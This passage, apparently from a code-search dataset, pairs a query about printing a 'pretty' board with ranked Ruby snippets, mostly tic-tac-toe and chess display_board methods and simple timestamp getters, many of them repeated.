"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "d95697aa4fe5c7ee24b2c85c7eee6115",
"score": "0.78653604",
"text": "def self_created_time()\n Run::Self_Created_Time\n end",
"title": ""
},
{
"docid": "3965398330b9fce649a27d32ccecbf17",
"score": "0.7843053",
"text": "def instance_create_time\n data[:instance_create_time]\n end",
"title": ""
},
{
"docid": "937b30911863592df3cc24f884c6e766",
"score": "0.7839256",
"text": "def create_time\n Time.parse(@server.read(links[:createtime], \"text/plain\", @credentials))\n end",
"title": ""
},
{
"docid": "6d5c5e6a19a238a9c2832ee44f5a11b2",
"score": "0.7810024",
"text": "def getCreatedTimeLong\r\n\t\t\t\t\treturn @createdTimeLong\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "901e91ca025b270975daf76d854a3507",
"score": "0.7809681",
"text": "def creation_time\n if !block_given?\n return @j_del.java_method(:creationTime, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling creation_time()\"\n end",
"title": ""
},
{
"docid": "30ceaebb2cafc8a8efea112c6b465a01",
"score": "0.7775765",
"text": "def creation_time=(value)\n @creation_time = value\n end",
"title": ""
},
{
"docid": "30ceaebb2cafc8a8efea112c6b465a01",
"score": "0.7775204",
"text": "def creation_time=(value)\n @creation_time = value\n end",
"title": ""
},
{
"docid": "30ceaebb2cafc8a8efea112c6b465a01",
"score": "0.7775204",
"text": "def creation_time=(value)\n @creation_time = value\n end",
"title": ""
},
{
"docid": "30ceaebb2cafc8a8efea112c6b465a01",
"score": "0.7775204",
"text": "def creation_time=(value)\n @creation_time = value\n end",
"title": ""
},
{
"docid": "30ceaebb2cafc8a8efea112c6b465a01",
"score": "0.7775204",
"text": "def creation_time=(value)\n @creation_time = value\n end",
"title": ""
},
{
"docid": "054d0b065293a86c24a525e0573eac91",
"score": "0.7743346",
"text": "def timestamp\n \"%.3f\" % (Time.now - @creation_time)\n end",
"title": ""
},
{
"docid": "43dfaebbb6810752a2b1ac03c9d33538",
"score": "0.7713453",
"text": "def created_at\n @created_at ||= File.stat(path).ctime\n end",
"title": ""
},
{
"docid": "f5a342b9a11c8d0966661cee2a79f6f3",
"score": "0.7696098",
"text": "def creation_date\n @creation_date\n end",
"title": ""
}
] |
560b6f8c9a12d573553a61f8b841edd2 | display method will print out a "pretty" board to the console | [
{
"docid": "b7049a40e713277f50e7fe875ae2774e",
"score": "0.0",
"text": "def display\n puts \"Random Call: #{@call_column}, #{@call_number}\"\n puts \"\\n\"\n p \"B I N G O\"\n puts self.check.map { |block| puts block.inspect }\n end",
"title": ""
}
] | [
{
"docid": "9d163e95d37180ff97bc0d35aff5d290",
"score": "0.85119766",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "65cff3057c4716365bd4b2f3d9e97f2d",
"score": "0.84949976",
"text": "def show_board\n @display.each do |row|\n puts row.join(' ')\n end\n end",
"title": ""
},
{
"docid": "38804351145c62dd2e230ba7c0b4ae96",
"score": "0.84599024",
"text": "def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"title": ""
},
{
"docid": "50ff8a9fb6c04318f508e66baaa46b30",
"score": "0.8426075",
"text": "def display_board_pretty\r\n\r\n # Display header letters\r\n @cols.each do |header|\r\n print ' ' + header + ' '\r\n end\r\n puts\r\n\r\n # Display board numbers\r\n for col_index in 0..4\r\n for row_index in 0..4\r\n\r\n board_num = @bingo_board[row_index][col_index]\r\n\r\n # Pretty print: print filler spaces if number has fewer digits\r\n if board_num.to_s.length == 1\r\n print ' '\r\n end\r\n if board_num.to_s.length == 2\r\n print ' '\r\n end\r\n\r\n print board_num.to_s + ' '\r\n\r\n end\r\n puts\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "7c6ff4ba66a0181ae278b5790287941c",
"score": "0.84229416",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---------------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---------------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "2b41f209a2d9f5d7c7f342f35ac9690c",
"score": "0.838303",
"text": "def display\n\t\tbreakline = \"---- --- ----\"\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:one]} | #{@board[:two]} | #{@board[:three]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:four]} | #{@board[:five]} | #{@board[:six]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:seven]} | #{@board[:eight]} | #{@board[:nine]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"\".center(@linewidth)\n\tend",
"title": ""
},
{
"docid": "06d30f3758406b665a0f8150359791c4",
"score": "0.8347956",
"text": "def display_board\n\n puts \" #{@board[0].mark} | #{@board[1].mark} | #{@board[2].mark} \"\n puts \"-----------\"\n puts \" #{@board[3].mark} | #{@board[4].mark} | #{@board[5].mark} \"\n puts \"-----------\"\n puts \" #{@board[6].mark} | #{@board[7].mark} | #{@board[8].mark} \"\n end",
"title": ""
},
{
"docid": "7e74327fa85e7d3b58450d38886346b8",
"score": "0.8327818",
"text": "def display\n\t\tputs \"\\n\"\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |col|\n\t\t\t\tprint \" \" + @board[row][col].to_s + \" \"\n\t\t\t\tprint \"|\" unless col == 2\n\t\t\tend\n\t\t\tputs row == 2 ? \"\\n\\n\" : \"\\n-----------\\n\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "283e7253429d899484eac7abf2e2b7df",
"score": "0.8314703",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "990b283e80476cb0dc0f6effb324bcf0",
"score": "0.83146423",
"text": "def display_board\n\t\tputs \"\\n\\n\"\n\t\tprint \"|\\u2460 |\\u2461 |\\u2462 |\\u2463 |\\u2464 |\\u2465 |\\u2466 |\"\n\t\t@board.plastic.reverse.each do |row|\n\t\t\tprint \"\\n|\"\n\t\t\trow.each {|x| print \"#{x.to_c} |\"} \t\t\t\n\t\tend\n\t\tputs \"\"\n\tend",
"title": ""
},
{
"docid": "00ee16a087d085694df315d28c0fcbb8",
"score": "0.83025974",
"text": "def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "a124cd9511c895c5a18f3fdfac05ab28",
"score": "0.8292435",
"text": "def display_board\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\nend",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.8288141",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "63d0570c2bab4c0705f17d8d316d57a1",
"score": "0.8280433",
"text": "def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "63d0570c2bab4c0705f17d8d316d57a1",
"score": "0.8280433",
"text": "def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "fc660f3229a52555f6b22934a61d3d30",
"score": "0.8280194",
"text": "def display_board\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "dbea7b599419290c33c780a9a362514c",
"score": "0.82781345",
"text": "def display_board\n\t\t\tsystem(\"cls\")\n\t\t\tprint \"\\n\"\n\t\t\t 7.downto(0).each_with_index{|x|\n\t\t\t\t print \"#{x+1}| \"\n\t\t\t\t\t8.times{|y|\n\t\t\t\t\tif y%2==0 && x%2 == 0 || y%2==1 && x%2 == 1\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold.on_red, \" \".on_red\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold.on_red, \" \".on_red\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \".on_red\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold, \" \"\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold, \" \"\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \", \" \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tprint \"\\n\"\n\t\t\t\t }\n\t\t\t print \"------------------\\n\"\n\t\t\t print \" a b c d e f g h\\n\\n\"\n\tend",
"title": ""
},
{
"docid": "ff4f1b2ad91c711b27c7d98dc7f528b6",
"score": "0.8261209",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "ca1998d2b9cb84f2b155244620dce039",
"score": "0.82551605",
"text": "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "ca1998d2b9cb84f2b155244620dce039",
"score": "0.82551605",
"text": "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "0eb7df6f0c80ea64fb1f2731adf9d0cb",
"score": "0.82470673",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts '---------------'\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts '---------------'\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "1d8a5f86c7601e5dbffb27a11092e8ef",
"score": "0.8242533",
"text": "def display_board\n puts \" | | \" \n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "ba7367b704137181a1f7a48107012460",
"score": "0.82348084",
"text": "def show()\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs (@@board[7] + '\t|\t' + @@board[8] + '\t|\t' + @@board[9])\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[4] + '\t|\t' + @@board[5] + '\t|\t' + @@board[6])\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[1] + '\t|\t' + @@board[2] + '\t|\t' + @@board[3])\n\t\tputs (' \t|\t' + ' \t|\t')\n\tend",
"title": ""
},
{
"docid": "beaad574b2978bf15a23244efee77890",
"score": "0.8221607",
"text": "def show_board\n puts \" \" + board_spaces[1] + \" | \" + board_spaces[2] + \" | \" + board_spaces[3] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[4] + \" | \" + board_spaces[5] + \" | \" + board_spaces[6] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[7] + \" | \" + board_spaces[8] + \" | \" + board_spaces[9] + \" \"\n end",
"title": ""
},
{
"docid": "0015ce00c87b27e3de13c3f7daee5efd",
"score": "0.8218436",
"text": "def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"title": ""
},
{
"docid": "0015ce00c87b27e3de13c3f7daee5efd",
"score": "0.8218436",
"text": "def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"title": ""
},
{
"docid": "048056057b8411812bdf43968ec1cf6c",
"score": "0.8193912",
"text": "def display_board\n puts \"#{@board[0].value} | #{@board[1].value} | #{@board[2].value}\"\n puts \"-\"*10\n puts \"#{@board[3].value} | #{@board[4].value} | #{@board[5].value}\"\n puts \"-\"*10\n puts \"#{@board[6].value} | #{@board[7].value} | #{@board[8].value}\"\n end",
"title": ""
},
{
"docid": "d3792de7a5b2f8d1031b3ab307f6aeaa",
"score": "0.8192256",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"---+----+----\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"---+----+----\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"title": ""
},
{
"docid": "3d44a98b695452ed69344c22b19c3bfa",
"score": "0.8190656",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "a7554ca73c1dab63409bf62be4736eef",
"score": "0.8175793",
"text": "def display_board\n row1 = \" #{@board[0]} | #{@board[1]} | #{@board[2]}\\n\"\n row2 = \" #{@board[3]} | #{@board[4]} | #{@board[5]}\\n\"\n row3 = \" #{@board[6]} | #{@board[7]} | #{@board[8]}\\n\"\n spacer = \"-----------\\n\"\n\n row1 + spacer + row2 + spacer + row3\n end",
"title": ""
},
{
"docid": "cc0b541b80f33cb4750e6344e9f00a97",
"score": "0.816827",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"title": ""
},
{
"docid": "cc0b541b80f33cb4750e6344e9f00a97",
"score": "0.816827",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"title": ""
},
{
"docid": "dc60429c02627e2b757333f95150499e",
"score": "0.8155147",
"text": "def display\n @board.each { |x| \n puts x.join(\" \")\n }\n end",
"title": ""
},
{
"docid": "17d89a3cb3e2a4d7291b403f8e12ae2b",
"score": "0.8142323",
"text": "def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "43dae4d578b3b7fb19e77a60fd0b692e",
"score": "0.81192434",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "70e29f05861b0fb754bc074d0f190b16",
"score": "0.81172",
"text": "def print_board\n puts \"\\n[#{@spaces[1]}][#{@spaces[2]}][#{@spaces[3]}]\\n[#{@spaces[4]}][#{@spaces[5]}][#{@spaces[6]}]\\n[#{@spaces[7]}][#{@spaces[8]}][#{@spaces[9]}]\\n\\n\"\n end",
"title": ""
},
{
"docid": "2b2ae6714dfcb62c0559c38b8e7b81f5",
"score": "0.81161517",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \" \n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "d2a7c6336104849dc6519a7b0e8fb6ec",
"score": "0.8107757",
"text": "def display_board\n puts \"#{human.name}: #{human.marker}, #{computer.name}: #{computer.marker}\"\n puts \"Round #{@round}.\"\n puts \"Score: #{human.score} - #{computer.score}\"\n puts \"\"\n board.draw\n puts \"\"\n end",
"title": ""
},
{
"docid": "74601b0b51b4b8daec2eea4a989019b3",
"score": "0.8102707",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "7d991ed9316f422190aa64ae1b346fa2",
"score": "0.8099041",
"text": "def display_board\n puts\n puts \"Here is the current board:\"\n puts \n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---+---+---\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---+---+---\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n puts \n end",
"title": ""
},
{
"docid": "0d5074b0b02441cf6c2e9f3169e23295",
"score": "0.8086916",
"text": "def display\n puts \"#{@board.join(\" \")}\"\n end",
"title": ""
},
{
"docid": "7e02a338a7a5085fa4c86d18de84f3a7",
"score": "0.8054095",
"text": "def display_board(board)\n\tputs \" #{board[0]} | #{board[1]} | #{board[2]} \"\n\tputs \"-----------\"\n\tputs \" #{board[3]} | #{board[4]} | #{board[5]} \"\n\tputs \"-----------\"\n\tputs \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "b5e3a8d962668263a8d9b8b8e10c269e",
"score": "0.80372757",
"text": "def display_board\n\t\tsystem \"clear\" or system \"cls\"\n\t\tprint \" 1 2 3 4 5 6 7 8 \\n\\n\"\n\t\t(0..7).each do |row|\n\t\t\tprint \"#{(row+97).chr} \"\n\t\t\t(0..7).each do |collumn|\n\t\t\t\tprint \"#{@board[row][collumn]} \" if @board[row][collumn] == \"X\"\n\t\t\t\tprint @board[row][collumn].to_s + \" \" if @board[row][collumn].is_a?(Piece)\n\t\t\tend\n\t\t\tprint \" #{(row+97).chr} \"\n\t\t\tputs\n\n\t\tend\n\t\tprint \"\\n 1 2 3 4 5 6 7 8 \\n\"\n\tend",
"title": ""
},
{
"docid": "804708a6ab410da7e435c9b5a7b537d4",
"score": "0.80343324",
"text": "def show_board\n puts\n @board.each_with_index do |square, i|\n print \" #{square} \"\n puts \"\\n\\n\" if (i == 2 || i == 5 || i == 8)\n end\n end",
"title": ""
},
{
"docid": "b11ca3886c9b067038e38c8c5a8434d8",
"score": "0.8031301",
"text": "def print\n displayBoard = []\n @board.each_with_index { |elem, index|\n if index % @columns == 0\n displayBoard.push(\"\\n\")\n end\n displayBoard.push(elem)\n }\n puts displayBoard.join\n end",
"title": ""
},
{
"docid": "ffce8b714a8c5ef78060a01328fe338b",
"score": "0.8025",
"text": "def game_board_display(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\n end",
"title": ""
},
{
"docid": "18336118b47344bcb915c7ad3ab8af94",
"score": "0.8019565",
"text": "def display\n system('clear')\n puts\n # show board with pieces\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\\n\\n\"\n print \"\\t +\", \" ----- +\"*8,\"\\n\\n\"\n 8.downto(1) do |rank|\n print \"\\t#{rank} |\\t\"\n 'A'.upto('H') do |file|\n if board[\"#{file}#{rank}\".to_cell] then piece = board[\"#{file}#{rank}\".to_cell]\n else piece = \" \"\n end\n print \"#{piece} |\\t\"\n end\n print \"#{rank}\\n\\n\\t +\", \" ----- +\"*8,\"\\n\\n\"\n end\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\"\n puts \"\\n\\n\"\n # show occupancy\n print \" White occupancy: \"\n puts whitePieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n print \" Black occupancy: \"\n puts blackPieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n puts\n # show whose move it is\n case @whitesMove\n when true\n puts \" WHITE to move.\"\n when false\n puts \" BLACK to move.\"\n end\n puts\n end",
"title": ""
},
{
"docid": "abf5467ba072cfa0e130954e0d21138b",
"score": "0.80042934",
"text": "def display\n\t\tputs \" #{cells[0]} | #{cells[1]} | #{cells[2]} \"\n\t\tputs \"-----------\"\n\t\tputs \" #{cells[3]} | #{cells[4]} | #{cells[5]} \"\n\t\tputs \"-----------\"\n\t\tputs \" #{cells[6]} | #{cells[7]} | #{cells[8]} \"\n\tend",
"title": ""
},
{
"docid": "7e35ed1f9911536028911790e7e79637",
"score": "0.7992942",
